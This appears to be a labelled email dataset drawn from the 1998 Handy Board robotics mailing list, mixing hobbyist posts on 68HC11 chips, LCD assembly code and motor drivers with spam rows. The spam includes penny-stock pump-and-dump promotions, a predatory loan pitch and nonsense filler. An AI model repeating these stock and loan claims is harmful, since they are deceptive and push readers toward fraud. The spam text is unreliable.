1998 16:50:26 -0500",Hall Effect,"Does any one know of a source for Hall Effect sensors? I know DigiKey sells them, but I just want to buy a few. I don't want enough stuff to get me upto the $25.00 minimum order. I have not been able to find them in Mousers catalog. Can anyone suggest a source for them? Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 Cynthia Wilbourn ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 17:29:38 -0500",putting stress on a backburner,"the cannon on destinate , transport , implantation it stank ",1,0 German Gentile ,Handyboard ,"Fri, 03 Apr 1998 00:49:23 -0300",Troubles with dallas memory 2.,"i have more info to that puzzle. I assembly two mother handy. One work fine , the other only download to a common memory, don't download to a dallas memory !!! I don't uderstand why if work in the common memory , don't in the backed memory? The idea is that backed memory don't have electrical difference with the common. Maybe timming differences or something like that??? I hear the only problem have that memory is to wait a little when the board reset , but is solved with the great Fred addittion : the ds1233-10 by Dallas (yes the manufacturer from the backed memory!!!) So i really can't get the answer. Anyone have the answer? Thanks in advance. P.D. Chuck, i think i need your help... ",0,0 Mike Chang ,HandyBoard ,"Thu, 02 Apr 1998 19:53:34 -0800",Re:68HC811E2,"Hi All, I'm curious. I've been watching all the stuff come through about using a '811E2 chip in the Handyboard. My question is: What are the advantages of this? I'm using E2's in my BotBoard from Marvin Green but I moved most of my stuff to the HB because of the ease of development and the larger memory space. Is there an advantage of using the 2K of EEPROM on the 'E2? Thanks Mike ",0,0 Ariana ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 19:29:53 -0500",Fat Go Go Go,"some immutable in hummel a sunbeam in we've , oughtn't ",1,0 HobbyTec ,handyboard@media.mit.edu,"Thu, 02 Apr 1998 23:40:27 -0800",Re: Re:68HC811E2,"-----Original Message----- From: Mike Chang To: HandyBoard Date: Thursday, April 02, 1998 8:19 PM Subject: Re:68HC811E2 No advanage to them (i think) because u cant use the 2k eeprom with the handyboard in 0C config settings, its just that we have a lot of them and would like to put em to good use. >From adrian's msg I see that setting the config must be done in the first 64 cycles, my question is how do u do this?? what program will set this chip??could someone plz explain just the steps we need to take to achive this, Thanks, Quinn Marshal >Hi All, > >I'm curious. I've been watching all the stuff come through about using >a '811E2 chip in the Handyboard. My question is: What are the >advantages of this? I'm using E2's in my BotBoard from Marvin Green but >I moved most of my stuff to the HB because of the ease of development >and the larger memory space. Is there an advantage of using the 2K of >EEPROM on the 'E2? > >Thanks >Mike > >",0,0 qypfi yzurocac ,handyboard@media.mit.edu,"Fri, 03 Apr 1998 09:55:49 +0700",Forward-Thinking Investors [NEWS NEW PICK friday it is] lowboy Alabamian Bernet,"Infinex Ventures Inc. (INFX) Current Price: 0.79 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible H U G E N E W S read below S T R O N G B U Y COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. 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Baeck"" ",handyboard@media.mit.edu,"Fri, 03 Apr 1998 16:40:35 +0100",Problems with CONFIG of 68HC811E2,"Hi to all ! Here a very interesting info for all, they have problems with the CONFIG of the ""E2"" (included myself). I found this at the motorola site http://www.mcu.motsps.com/lit/faq/as-79.htm. Here the text: AS-79 APPLICATION SNAPSHOT PROBLEMS PROGRAMMING THE CONFIG REGISTER OF THE MC68HC811E2 ON THE MC68HC11EVM by Janet M. Snyder INTRODUCTION Special considerations exist when programming the CONFIG register of the MC68HC811E2 on the MC68HC11EVM, hereafter referred to as the EVM board. The procedure is the same as for any other part, and the programming will take place, but it may not show up as having changedvalues. GENERAL INFORMATION The monitor of the EVM board must be revision 2.5 or later. Earlier versions of the monitor kept the chip in bootstrap mode during a read of the CONFIG register. Versions 2.5 and later solved this problem by reading the CONFIG register in special test mode. For reference, the currentrevision of the monitor in the EVM board is revision 3.0. The problem manifested itself in these earlier versions of the monitor by showing that the contents of the CONFIG register had not changed after programming and performing a reset. It was due to the fact that in bootstrap mode, the value of the MC68HC811E2 forces some bits to ones, no matter what the value that was just programmed into it. It actually programmed correctly, but there was no way to see it. The bits that are forced to ones in bootstrap mode are 0 (EEON), 1 (nothing), and 4, 5, 6, and 7 (EE0, EE1, EE2, and EE3 respectively). For applications where the security option was not included, bit 3 would also always show as a one, and if the COP timeout was not used, that bit (bit 2)would also be a one. So, a common scenario of the failure would be an application where the designer wished to reprogram the CONFIG register to turn off the EEPROM, but no matter how many times the bit was attempted to be programmed to a zero and then reset, the CONFIG register would always read $FF. Greetings to all from Austria Erwin ",0,1 M Dolores Line ,"Allen Berman , ""Ward Ebert (SDO) "" , ""Eric Hoffman (SDO) "" , ""Mark Holdridge (SEI) "" , john koulouris , Kenneth Ledbetter , montesi , oded , Web Page , Len Ricardo , NEAR Science Team , tracadas , Marius Weinreb , Bobby Williams , Tom Coughlin , Larry Crawford , Robert Farquhar , Glen Fountain , Richard K Huebschman , Tom Krimigis , Ching Meng , Andy Santo ","Fri, 03 Apr 1998 11:39:41 -0500",NEAR Weekly Report - 4/3/98," Subject: Time:11:42 AM OFFICE MEMO NEAR Weekly Report - 4/3/98 Date:4/3/98 NEAR WEEKLY REPORT April 3, 1998 MISSION OPERATIONS: NEAR spacecraft state is nominal. All instruments are off. Presently back in GS-5 attitude mode with AIU #2 in control. TCM #12 completed on April 1, 1998. Preliminary estimate from JPL/NAV is 1% overburn. Completed playback of all SSR data recorded since day 044 immediately after TCM #12 utilizing attitude slew and high gain contact. It should be noted that SDC access to MOC Front End data was once again adversely affected during 26 Kbps SSR playback. Further tests of SDC interface are planned. Continuing preparations for AIU flight software load. Acceptance testing started on April 2, 1998. Switched from low gain to fan beam antenna on March 30. Spacecraft commands have not been dropped since switch to fan beam. Dropped command problem still under investigation. Supported Eros planning meeting on April 2, 1998. Final agenda for April 7 NAV meeting to discuss Eros scheduling has been prepared and distributed. Reviewed list of expected MOC hardware improvements necessary for Eros operations with program management. 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Here a very interesting info for all, they have problems with the CONFIG of the ""E2"" (included myself). I found this at the motorola site http://www.mcu.motsps.com/lit/faq/as-79.htm. Here the text: AS-79 APPLICATION SNAPSHOT PROBLEMS PROGRAMMING THE CONFIG REGISTER OF THE MC68HC811E2 ON THE MC68HC11EVM by Janet M. Snyder INTRODUCTION Special considerations exist when programming the CONFIG register of the MC68HC811E2 on the MC68HC11EVM, hereafter referred to as the EVM board. The procedure is the same as for any other part, and the programming will take place, but it may not show up as having changed values. GENERAL INFORMATION The monitor of the EVM board must be revision 2.5 or later. Earlier versions of the monitor kept the chip in bootstrap mode during a read of the CONFIG register. Versions 2.5 and later solved this problem by reading the CONFIG register in special test mode. For reference, the currentrevision of the monitor in the EVM board is revision 3.0. The problem manifested itself in these earlier versions of the monitor by showing that the contents of the CONFIG register had not changed after programming and performing a reset. It was due to the fact that in bootstrap mode, the value of the MC68HC811E2 forces some bits to ones, no matter what the value that was just programmed into it. It actually programmed correctly, but there was no way to see it. The bits that are forced to ones in bootstrap mode are 0 (EEON), 1 (nothing), and 4, 5, 6, and 7 (EE0, EE1, EE2, and EE3 respectively). For applications where the security option was not included, bit 3 would also always show as a one, and if the COP timeout was not used, that bit (bit 2)would also be a one. So, a common scenario of the failure would be an application where the designer wished to reprogram the CONFIG register to turn off the EEPROM, but no matter how many times the bit was attempted to be programmed to a zero and then reset, the CONFIG register would always read $FF. Very interesting, isn't it ? The problem is, that the loaders check for a CONFIG value of 0x0C and here it sees 0xFF in bootstrap mode ! Have anybody a solution for this problem ? Greetings to all from Austria Erwin ",0,1 """S. Lee"" ",Jonathan Swaby ,"Fri, 03 Apr 1998 10:08:04 -0800",Re: Hall Effect,"Newark Electronics sells Hall effect sensors for as little as $1.29. (Newark P/N: OH180U) For orders under $25.00 they charge an extra $5.00. There's a Newark (confirmed working address) web page at: http://www.newark.com Enjoy! de AB7HI, Stephen Lee, Federal Way,Wa slee@u.washington.edu On Thu, 2 Apr 1998, Jonathan Swaby wrote: > Does any one know of a source for Hall Effect sensors? I know DigiKey sells > them, but I just want to buy a few. I don't want enough stuff to get me > upto the $25.00 minimum order. I have not been able to find them in Mousers > catalog. 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Unfortunately, there is no reaction til today from anybody. This application says, that the CONFIG of the ""E2"" display in the bootstrap mode NOT the real value (""1""s instead of ""0""s). Now I have a robot controller board MRC11 (Novatronik/Mekatronix, HC11, 64kb RAM) with a ""E2"" (unfortunately, I don't have another type in this time) and try to install the IC 3.2 on it (I've ordered a Handyboard but this has a delivery time of 2-3 weeks to Europe). The problem is, that the HBDL loader checks the CONFIG value and read the value 0xFF instead of 0x0C (see above). Is there a solution for this problem ? I have another question, concerning the download of the Pcoder: when I load the in bootstrap mode, where is this Pcode interpreter after the download ? In bootstrap mode there is only the internal memory active (not the external RAM) and this is too less for the loader (17kb), isn't it ? Please can anybody explain me this process (loading of the Pcoder + switch to Expanded multiplexed mode) ? Thanks. Here a second time the application note concerning the CONFIG reg of the ""E2"": AS-79 APPLICATION SNAPSHOT PROBLEMS PROGRAMMING THE CONFIG REGISTER OF THE MC68HC811E2 ON THE MC68HC11EVM by Janet M. Snyder INTRODUCTION Special considerations exist when programming the CONFIG register of the MC68HC811E2 on the MC68HC11EVM, hereafter referred to as the EVM board. The procedure is the same as for any other part, and the programming will take place, but it may not show up as having changed values. GENERAL INFORMATION The monitor of the EVM board must be revision 2.5 or later. Earlier versions of the monitor kept the chip in bootstrap mode during a read of the CONFIG register. Versions 2.5 and later solved this problem by reading the CONFIG register in special test mode. For reference, the currentrevision of the monitor in the EVM board is revision 3.0. The problem manifested itself in these earlier versions of the monitor by showing that the contents of the CONFIG register had not changed after programming and performing a reset. It was due to the fact that in bootstrap mode, the value of the MC68HC811E2 forces some bits to ones, no matter what the value that was just programmed into it. It actually programmed correctly, but there was no way to see it. The bits that are forced to ones in bootstrap mode are 0 (EEON), 1 (nothing), and 4, 5, 6, and 7 (EE0, EE1, EE2, and EE3 respectively). For applications where the security option was not included, bit 3 would also always show as a one, and if the COP timeout was not used, that bit (bit 2)would also be a one. So, a common scenario of the failure would be an application where the designer wished to reprogram the CONFIG register to turn off the EEPROM, but no matter how many times the bit was attempted to be programmed to a zero and then reset, the CONFIG register would always read $FF. Greetings to all (from Austria) Erwin ",0,0 Jan Sipke van der Veen ,handyboard@media.mit.edu,"Sat, 04 Apr 1998 11:58:30 +0200",Update and question,"Hello everybody, It's been a while since my last e-mail. Thanks for all the help so far. I've managed to connect a RadioMetrix (http://www.radiometrix.co.uk) radio transceiver to the Handy Board. My mobile robot (using a HB) can now communicate with a remote PC using the radio link. If someone is interested, I will put up a page in which I describe the connections on both sides and the protocol. Here's a question for someone really into IC. Are single lines of code executed atomically? For example, process 1 executes a += 1; which is probably implemented something like this: register = a register = register + 1 a = register Can there be a task switch between lines 1 and 2 or 2 and 3, or are these instructions executed atomically? Thanks. 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",0,0 Adrian Susianto ,handyboard@media.mit.edu,"Sun, 05 Apr 1998 16:13:23 +0700",About the first 64 cycles,"From adrian's msg I see that setting the config must be done in the first 64 cycles, my question is how do u do this?? what program will set this chip??could someone plz explain just the steps we need to take to achive this, --------- Hi.. I try to answer... Every instruction has cycles to execute. For example: LDAA has 4 cycles in Extended Addressing Mode LDAA has 2 cycles in Immidiate Addressing Mode STAA has 4 cycles in Extented Addressing Mode etc... (look at instruction lists from Motorola pink book) 68HC11 has some special conditions you can change before the first 64 cycles. It means, you can change the 68HC11 special conditions (ex: CONFIG register) before the total instructions reach 64 cycles from the starting program. After the first 64 cycles, you can't change those special conditions, even you still make it, the MCU will ignore it (it has no effect). And how to do this ? Just put your instruction at the top list of your program. Example to change the CONFIG register: BPROT EQU $1035 ORG $0 LDS #$FF | 3 cycles LDAA #$00 ;Data for clearing BPROT | 2 cycles STAA BPROT ;Clear BPROT | 4 cycles The total cycles to execute the program are 9 cycles. It is still below 64 cycles, so your CONFIG register still can be cleared. But if you clear the CONFIG register after 64 cycles (say your program has reach 70 cycles, then you put LDAA #$00 and STAA BPROT after that), the MCU will have no effect about clearing the CONFIG register. I hope it helps.. Regards, Adrian Susianto mailto:adrian@indonesia.crosswinds.net.id ICQ : 7725108 ",0,0 """MSI: Sean Cunningham"" ",handyboard@media.mit.edu,"Sun, 05 Apr 1998 07:06:58 -0700",FW: Update and question,"I would be extremely interested to see both the schematics and software for how you were able to accomplish this! -----Original Message----- From: Jan Sipke van der Veen [mailto:j.s.vanderveen@student.utwente.nl] Sent: Saturday, April 04, 1998 1:59 AM To: handyboard@media.mit.edu Subject: Update and question Hello everybody, It's been a while since my last e-mail. Thanks for all the help so far. I've managed to connect a RadioMetrix (http://www.radiometrix.co.uk) radio transceiver to the Handy Board. My mobile robot (using a HB) can now communicate with a remote PC using the radio link. If someone is interested, I will put up a page in which I describe the connections on both sides and the protocol. Here's a question for someone really into IC. Are single lines of code executed atomically? For example, process 1 executes a += 1; which is probably implemented something like this: register = a register = register + 1 a = register Can there be a task switch between lines 1 and 2 or 2 and 3, or are these instructions executed atomically? Thanks. Greetings, Jan Sipke van der Veen ",0,1 Chuck McManis ,Adrian Susianto ,"Sun, 05 Apr 1998 11:08:04 -0700",Re: About the first 64 cycles,"Note that the Handyboard runs in 'special test mode' which has as a benefit a lifting of the 64 cycle limit. Specifically you can switch in and out of single chip mode at will, which is essential for driving the LCD display. --Chuck ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sun, 05 Apr 1998 14:14:25 -0400",Multitasking,"Does anyone know if you can call a process from within another process? I keep getting a RUNTIME ERROR 01 when trying this. Even calling it from a function, other than main(), gives me this error. Thanks for any help. :) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Darth Vader ,handyboard@media.mit.edu,"Sun, 05 Apr 1998 16:17:01 -0500",Locomotion questions,"Im trying to build a segmented centipede-type robot. There are several sections, each self-locomoting, connected together by a rod that will allow the other segment to swivel up, down, left and right by about 20 degrees each (hypothetically). Lets say I were to connect Ninotol (AKA muscle wire) to each of the corners of one end of one module across to the corresponding courners of the other module So if I actuate all 4 pieces of ninotol, the 2 objects would be held straight together, right? And if I were to actuate the 2 on the right the object would be turned in a right direction, right??? If the above is true, then what would happen if I actuiated all 4 as in the first premise? Since it cannnot fully contract all four of them to the state it was when I only actuated 2 of them, am I damaging the ninotol? What will this do to the Ninotol, if anything???? Thanks for bearing with me, Hope it wasnt too confusing Thank you! Phil phil@rent-a-nerd.com www.rent-a-nerd.com ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sun, 05 Apr 1998 18:46:26 -0400",Multitasking (fwd),"I forgot to mention... The process has a while(1){...} loop in it. ...if that does anything. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ---------- Forwarded message ---------- Date: Sun, 5 Apr 1998 14:14:25 -0400 (EDT) From: MAR ERICSON To: Handy Board mailing list Subject: Multitasking Does anyone know if you can call a process from within another process? I keep getting a RUNTIME ERROR 01 when trying this. Even calling it from a function, other than main(), gives me this error. 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In your message you said: > Mr. Martin > I am using the handy-board in conjunction with two sonars with 6500 > ranging modules from Polaroid. I used the connections and the code that > you suggested from the mit web page. I continue getting a constant > reading no matter where an obstacle is placed. I read the that it may be > caused from interference, but I don't know how to fix that. I also > sometime receive a signal that too much time has elapsed. Do you have any > suggestions about how to remedy this. Or perhaps you can direct me to a > web page or other resource that mught have some answers. > > Matthew Spenko > mjs329@nwu.edu > ",0,0 Charles Hacker EAS ,handyboard@media.mit.edu,"Tue, 07 Apr 1998 08:12:18 +1000",Machine code PRINT routine,"Hello All, I have been able to get a machine code print routine to work. The code that will print two lines to the LCD screen follows. Fred Martin had requested I send the code to the HandyBoard list. Note that No interrupts have been set up. The Print screen routine is copied to Zero page with each new character printed, (to account for interrupts etc trashing zero page as well). I had a few problems getting the display to work, and had to obtain a manual for the display. Some problems I discovered: 1. You need to Turn Display On first, (with an $0C code). 2. The display in One line is so dark, the words can not be seen. The display thus needs to be operated in two line display. 3. The screen buffer is bigger than the display. Hence you need to write multiple characters to the end of line one, to get to line two. __________________________________________ * HC11 - Equates * PORTA EQU $00 ; Port A data register PORTB EQU $04 ; Port B data register PORTC EQU $03 ; Port C latched data register PORTD EQU $08 ; Port D data register PORTE EQU $0A ; Port E data register DDRC EQU $07 ; Data Direction register for port C HPRIO EQU $3C ; Highest Priority Interrupt and misc. * * Display Equates * LCDtmpA EQU $0009 LCDrout EQU $0010 * ORG $BFFE FDB $8000 ;org to the reset vector * * Start of Prog * ORG $8000 LDS #$E000 * * Do Print to screen * JSR CPYprt LDAA #$00 LDAB #$0C ; Display On / Cursor Off / Flash Off JSR LCDrout * JSR CPYprt LDAA #$00 LDAB #$38 ; Two Display JSR LCDrout * JSR CPYprt LDAA #$00 LDAB #$03 ; Home and Clear Display JSR LCDrout * LDX #Line1 ; Tell to Print Line 1 STX SCRend PL1 JSR CPYprt LDAA #$02 LDX SCRend LDAB $00,X INX STX SCRend JSR LCDrout LDX SCRend CPX #Line2 BNE PL1 * LDAA #24 ; Move to Next Line NewL STAA SCRend JSR CPYprt LDAA #$02 LDAB #40 JSR LCDrout LDAA SCRend DECA BNE NewL * LDX #Line2 ; Tell to Print Line 2 STX SCRend PL2 JSR CPYprt LDAA #$02 LDX SCRend LDAB $00,X INX STX SCRend JSR LCDrout LDX SCRend CPX #Lend BNE Pl2 * AGAIN LDAA #$FA STAA $7000 * LDX #$8000 ; Delay for count LOP1 DEX BNE LOP1 * LDAA #$F5 STAA $7000 * LDX #$8000 ; Delay for count LOP2 DEX BNE LOP2 * JMP AGAIN * Line1 FCC 'Print Line 1 !!!' Line2 FCC 'This is Line 2 !' Lend FCB $00 * * * Copy print routine to Zero Page * CPYprt LDX #SCRbeg LDY #LCDrout LCDloop LDAA 0,X STAA 0,Y INX INY CPX #SCRend BNE LCDloop RTS * * Print Routine: A - Command, B - Data * Copied to Zero Page memory and Run there * SCRbeg SEI ; disable interrupts LDX #$1000 BCLR HPRIO,X %00100000 ; put into single chip mode BCLR PORTA,X %00010000 ; turn off LCD E line STAA LCDtmpA ; Temp A store CLR DDRC,X ; make port C input LCDBsy LDAA #1 STAA PORTB,X ; read operation from LCD (AKF-added ',X') BSET PORTA,X %00010000 ; frob LCD on LDAA PORTC,X ; get status BCLR PORTA,X %00010000 ; frob LCD off ANDA #$80 ; bit 7 is busy flag BNE LCDBsy LDAA #$FF STAA DDRC,X ; make port C output LDAA LCDtmpA ; Temp A store STAA PORTB,X ; high byte is control STAB PORTC,X ; low byte is data BSET PORTA,X %00010000 BCLR PORTA,X %00010000 ; frob LCD BSET HPRIO,X %00100000 ; put into expanded chip mode CLI ; enable interrupts RTS ; return to monitor command loop SCRend RMB 2 Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. 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Im looking to find 6 servos. thanks alot! phil phil@rent-a-nerd.com www.rent-a-nerd.com ",0,0 TerriCherr ,rent-a-nerd@technologist.com,"Tue, 07 Apr 1998 10:19:16 -0400",Re: servos," > Does anyone know of a good place to get good servos for cheap? >Im looking to find 6 servos. >thanks alot! >phil >phil@rent-a-nerd.com >www.rent-a-nerd.com >> Phil, Try Tower Hobbies (800) 637-4989 PO BOX 9078, Champaign, IIinois 61826 or Tammies Hobbies (800) 521-5614 12024 SW Canyon Rd., Beaverton OR 97005 Both of these run an excelent mail order service. ",0,0 Camille Y Brown ,Tami Black ,"Tue, 07 Apr 1998 02:51:44 -0800",High Perf0rmance st-0ck?," Dejep Eaurth Regsouroce Inc. Tiocker DPErR Price 0.01 Exchange OTmC This information was just released as of close on Thursdgay, May 04th! A hutge advertising mcampaign is in effect all this week for DtPdER, you won't be the only ones to know about this great news! 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The cheapest, but good enough, is Hitec or Cirrus. Tower's Hitec price is not good. Cirrus line(Hobby Shack's line) is cheaper than Hitec. Check www.hobbyshack.com. Or, check model airplane magazine for other mail order for Hitec servos. I saw Hitec HS-300BB (standard/ball bearing) for $9.99 advertised in one of these magazines. Local flyer from Hobby Shack advertises standard servos CS70 for $6.xx (limit 4) during the month of April. I have put them on my airplane with no problem, yet :) --Ron On Apr 7, 10:19am, TerriCherr wrote: > Subject: Re: servos > > > Does anyone know of a good place to get good servos for cheap? > >Im looking to find 6 servos. > > >thanks alot! > >phil > >phil@rent-a-nerd.com > >www.rent-a-nerd.com > >> > > Phil, > Try Tower Hobbies (800) 637-4989 PO BOX 9078, Champaign, IIinois 61826 > or > Tammies Hobbies (800) 521-5614 12024 SW Canyon Rd., Beaverton OR 97005 > Both of these run an excelent mail order service. >-- End of excerpt from TerriCherr ",0,0 Jan Sipke van der Veen ,handyboard@media.mit.edu,"Tue, 07 Apr 1998 19:11:08 +0200",Radio communication page,"Thanks for all the (mostly personal) replies to my message. I'll put a page up on the radio communication between the Handy Board and a PC. At the end of the week there will be a first version up and running. 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Anthony Oren Loeppert *** http://www.cs.utexas.edu/users/oren/ * o* * ***> * * * * * | | * * | / * * |/ * * * * * * **\\ ",0,1 Jim Fong ,"Anthony Oren Loeppert , handyboard@media.mit.edu","Wed, 08 Apr 1998 06:27:48 -0700",Re: SPI ram,"Anthony, A easier way to get 8K of EEPROM memory is to use Microchip Technology 25C640 Serial SPI EEPROM Memory. This is a 8 pin DIP device with a built in SPI interface. Cost is about $3 each. I wrote a simple application note to connect to a HB with IC program. I had used a 25C160 (4K) device b4 the 25C640 (8K) was available. The ap note still applies though. The ap note can be downloaded from my web site under Design & Ideas. I had thought about doing a design similiar to yours a while back but was flipping through a Microchip data book and saw the 25xxxx series of SPI memory. Was actually quite surprised when I found out how inexpensive they were! Jim Fong Embedded Acquisition Systems http://www.hooked.net/~jfong At 06:24 AM 4/8/98 -0500, you wrote: >If anyone cares, I have posted my SPI ram card design to the web at >http://www.cs.utexas.edu/users/oren/hbram.shtml >It is probably laughable, but I thought it was a good effort for not >knowing too much about electronics. > > >Anthony Oren Loeppert *** >http://www.cs.utexas.edu/users/oren/ * o* > * ***> > * * > * * > * | | * > * | / * > * |/ * > * * > * * * **\\ > > > > ",0,1 Mike Chang ,HandyBoard ,"Wed, 08 Apr 1998 09:30:33 -0700",Board Simulator,"Hi All, In the 3.1beta of the Mac version of IC was a board simulator. Is this still supported in the release version for the Mac? Will there be a port to the PC platforms? I find the simulator very helpful in a lot of situations. But since I do my development on the PC now (sigh), I find it a pain to get my files to the Mac. Once it's there it's a breeze, just a couple of global search and replaces and I'm off. Thanks Mike ",0,0 Ted Sheridan ,handyboard@media.mit.edu,"Wen, Wed, 8 Apr 1998 18:52:16 -0500",[fwd] We found company ready to EXPLODE!!,"CHINA GOLD CORP Symbol: CGDC Current Price: 1.90 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? Seee n0wadays what happened. ∙ Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. (Adjusted for inflation.) ∙ HUGE gold discovery in southwestern China - Resources have already been estimated by analysts at 14 million ounces...and the number keeps climbing. ∙ China is the world's last great under-explored land-mass - Locked away in a Marxist time-warp with limited exploration technology, China's rich virgin gold fields have been overlooked and ignored until recently. ∙ China is already the world's 4th largest producer of gold ≈ and will soon be the world's #1 producer AND #1 consumer. The country is going gold-crazy! ∙ Foreign gold companies are now welcome - and the laws have been changed to provide full legal protection. You can see China's developing gold boom is building momentum. Rare opportunity for early investors!! CURRENT NEWS: CHINA GOLD CORP (CGDC) Announces Five for One Forward Stock Split CHINA GOLD CORP is a Nevada Corporation, engaged in gold and minerals exploration and development of gold and mineral properties in China. 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My question is, do I take the motor > drivers off of the HB and put them on the wirz board, or do I leave them > on the HB. > > Question 2: Assuming I have figured out #1(see above) where do I connect > the wirz board to? Should I be using the servo routines, or does it plug > in where the motor drivers on the HB go? > > Thanks everyone, > Mike > >",0,0 NewsDesk ,handyboard@media.mit.edu,"Wed, 08 Apr 1998 15:01:04 -0500",The Ancient Secret of Life,"THE ANCIENT SECRET OF LIFE! www.biologicalmiracle.com www.biologicalmiracle.net Please note; that by clicking the link below, you have automatically opted-in, and have agreed to view their website. Click here to visit their websiteThank you for taking the time to read this special report Regards, The Web Reporter The very best on the net Website Marketing Services · Unit 11 Edif. Minerva · Benalmadena Costa, Arroyo 29630, Spain",1,1 Scott Mitchell Simon ,handyboard@media.mit.edu,"Wed, 08 Apr 1998 20:25:57 -0500",Re: LMD18200,"With the non-bridged board, each socket will control 2 boards. So for board 1, you'll connect to pins 1 and 2 in the socket, and for board 2 connect to pins 9 and 10. The other pins you can do as you please (for the brake, current sense, and thermal sense) -=Scott To: Scott Simon From: ""Michael S. Reiling"" Subject: Re: LMD18200 > I think I am a little confused by the wording of this. I am using the > non-bridged board, so 1 socket on the HB controls how many boards? > > Thanks for all your help. Really appreciate it! > > Mike > ---------------- > > YES. Take the drivers off the handyboard, because now > the wirz boards will connect to those sockets. If you > have the bridged 18200 board, then each socket can > control 2 boards. If you have the non-bridged version > (ie, the wirz board will control 2 motors > independently) then each socket connects to two boards. > > >",0,0 Scott Mitchell Simon ,handyboard@media.mit.edu,"Wed, 08 Apr 1998 21:43:54 -0500",Re: LMD18200,"CRAPOLA! NEVERMIND! I was wrong and thinking of the bridged version (the one I use here. . .) SORRY, MY BAD. Each socket on the handyboard will control 1 (ONE, UNO, UN. . .) Wirz _non-bridged_ 18200 board. Since the non-bridged version can control 2 motors, this give you 4 motors total. Sorry about the confusion. You can wire them up exactly as I specified in my first email. -=Scott From: ""Scott Mitchell Simon"" Organization: Washington University To: handyboard@media.mit.edu Date sent: Wed, 8 Apr 1998 20:25:57 -0500 Subject: Re: LMD18200 Send reply to: Scott Simon Priority: normal > With the non-bridged board, each socket will control 2 boards. > > So for board 1, you'll connect to pins 1 and 2 in the socket, and for > board 2 connect to pins 9 and 10. The other pins you can do as you please > (for the brake, current sense, and thermal sense) > > -=Scott > > To: Scott Simon > From: ""Michael S. Reiling"" > Subject: Re: LMD18200 > > > I think I am a little confused by the wording of this. I am using the > > non-bridged board, so 1 socket on the HB controls how many boards? > > > > Thanks for all your help. Really appreciate it! > > > > Mike > > ---------------- > > > > YES. Take the drivers off the handyboard, because now > > the wirz boards will connect to those sockets. If you > > have the bridged 18200 board, then each socket can > > control 2 boards. If you have the non-bridged version > > (ie, the wirz board will control 2 motors > > independently) then each socket connects to two boards. > > > > > > > >",0,0 Isabella Vaughan ,handyboard@media.mit.edu,"Thu, 09 Apr 1998 02:41:57 -0200","[fwd] Put CGDC on your radar's now. This stock shows a significant up in stock price and sometimes in days, not months or years.","CHINA GOLD CORP Symbol: CGDC Current Price: 2.11 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? Seee n0wadays what happened. ∙ Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. (Adjusted for inflation.) ∙ HUGE gold discovery in southwestern China - Resources have already been estimated by analysts at 14 million ounces...and the number keeps climbing. ∙ China is the world's last great under-explored land-mass - Locked away in a Marxist time-warp with limited exploration technology, China's rich virgin gold fields have been overlooked and ignored until recently. ∙ China is already the world's 4th largest producer of gold ≈ and will soon be the world's #1 producer AND #1 consumer. The country is going gold-crazy! ∙ Foreign gold companies are now welcome - and the laws have been changed to provide full legal protection. You can see China's developing gold boom is building momentum. Rare opportunity for early investors!! CURRENT NEWS: CHINA GOLD CORP (CGDC) Announces Five for One Forward Stock Split CHINA GOLD CORP is a Nevada Corporation, engaged in gold and minerals exploration and development of gold and mineral properties in China. The company is pleased to announce today that the board of directors has approved a five-for-one forward stock split. The record date for the forward stock split is to be effective closing Friday, May 12, 2006. Stockholders of the record date will be entitled to four additional shares of common stock for each share of common stock held on that date. ABOUT THE COMPANY China Gold Corp. is a Nevada Corporation, engaged in gold and minerals exploration and development of gold and mineral properties in China. China Gold Corp is dedicated to delivering growth to the shareholder by employing a disciplined business methodology through acquisitions and joint ventures. The Company seeks to acquire properties with the following development criteria: largely unexplored but highly prospective geological regions, ability to generate near-term revenue and cash flow, tremendous geological potential for world-class economic deposits. Conclusion: The Example Above Show The Awesome, Earning Potential of Little Known Company That Explode Onto Investor's Radar Screens; Many of You Are Already Familiar with This. Is CGDC Poised and Positioned to Do that For You? Then You May Feel the Time Has Come to Act... And Please Watch this One Trade tomorrow! Go CGDC. Penny st0cks are considered highly speculative and may be unsuitable for all but very aggressive investors. This Profile is not in any way affiliated with the featured company. This report is for entertainment and advertising purposes only and should not be used as investment advice. If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 Richard ,handyboard@media.mit.edu,"Wed, 08 Apr 1998 23:27:58 -0700",yacc stack overflow,"What exactly is a yacc stack overflow? I wrote somemore code to my nifty lil program involving adding more else if statements and it wont let me compile. Does anyone know what a yacc stack over flow is? How do I fix this so it will compile my program? Thanks! -R. ",0,0 Andrew Q Cantor ,handyboard@media.mit.edu,"Thu, 09 Apr 1998 05:13:01 +0100",we have lots of cash and want you to borrow it,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! We will do the searching for you, use our special arrangements with lenders to find you the loan that YOU 